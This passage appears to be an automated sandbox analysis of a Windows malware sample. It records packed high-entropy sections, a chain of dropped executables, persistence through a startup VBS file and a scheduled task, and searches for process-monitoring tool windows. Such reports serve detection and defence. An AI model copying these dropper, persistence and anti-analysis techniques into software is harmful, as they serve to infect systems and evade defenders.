Source: random[1].exe1.6.dr	Static PE information: section name: efzdldig
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: ece32691cf.exe.6.dr	Static PE information: section name:
Source: ece32691cf.exe.6.dr	Static PE information: section name: .idata
Source: ece32691cf.exe.6.dr	Static PE information: section name:
Source: ece32691cf.exe.6.dr	Static PE information: section name: uzxdwyvi
Source: ece32691cf.exe.6.dr	Static PE information: section name: efzdldig
Source: ece32691cf.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: yefovael
Source: random[2].exe.6.dr	Static PE information: section name: eavrkykj
Source: random[2].exe.6.dr	Static PE information: section name: .taggant
Source: 9a2c1b4302.exe.6.dr	Static PE information: section name:
Source: 9a2c1b4302.exe.6.dr	Static PE information: section name: .idata
Source: 9a2c1b4302.exe.6.dr	Static PE information: section name:
Source: 9a2c1b4302.exe.6.dr	Static PE information: section name: yefovael
Source: 9a2c1b4302.exe.6.dr	Static PE information: section name: eavrkykj
Source: 9a2c1b4302.exe.6.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_007ED91C push ecx; ret	1_2_007ED92F
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_007E1359 push es; ret	1_2_007E135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_005CD91C push ecx; ret	3_2_005CD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_005CD91C push ecx; ret	4_2_005CD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_005CD91C push ecx; ret	6_2_005CD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_005CDFC6 push ecx; ret	6_2_005CDFD9

Source: file.exe	Static PE information: section name: entropy: 7.9888681688918926
Source: skotes.exe.1.dr	Static PE information: section name: entropy: 7.9888681688918926
Source: random[1].exe.6.dr	Static PE information: section name: entropy: 7.979706188474013
Source: random[1].exe.6.dr	Static PE information: section name: lzigcvvj entropy: 7.9541420583885305
Source: 8a32a8d958.exe.6.dr	Static PE information: section name: entropy: 7.979706188474013
Source: 8a32a8d958.exe.6.dr	Static PE information: section name: lzigcvvj entropy: 7.9541420583885305
Source: random[1].exe1.6.dr	Static PE information: section name: entropy: 7.974324170155358
Source: random[1].exe1.6.dr	Static PE information: section name: uzxdwyvi entropy: 7.955304664762435
Source: ece32691cf.exe.6.dr	Static PE information: section name: entropy: 7.974324170155358
Source: ece32691cf.exe.6.dr	Static PE information: section name: uzxdwyvi entropy: 7.955304664762435
Source: Baursystempower[1].exe.6.dr	Static PE information: section name: .text entropy: 7.948313094353132
Source: Baursystempower.exe.6.dr	Static PE information: section name: .text entropy: 7.948313094353132
Source: random[2].exe.6.dr	Static PE information: section name: yefovael entropy: 7.955475326711672
Source: 9a2c1b4302.exe.6.dr	Static PE information: section name: yefovael entropy: 7.955475326711672
Source: Target.exe.7.dr	Static PE information: section name: .text entropy: 7.948313094353132

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	File created: C:\Users\user\AppData\Roaming\Target.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	File created: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018695001\9a2c1b4302.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\Bestsoundeffectives[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	File created: C:\ProgramData\wtkb\qcwew.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	File created: C:\Users\user\AppData\Local\Temp\10001300101\Autosoundmick.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\Baursystempower[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	File created: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\Autosoundmick[1].exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe

File created: C:\ProgramData\wtkb\qcwew.exe

Jump to dropped file

Boot Survival

Drops VBS files to the startup folder

Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Target.vbs

Jump to dropped file

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Target.vbs

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Target.vbs

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process information set: NOOPENFILEERRORBOX
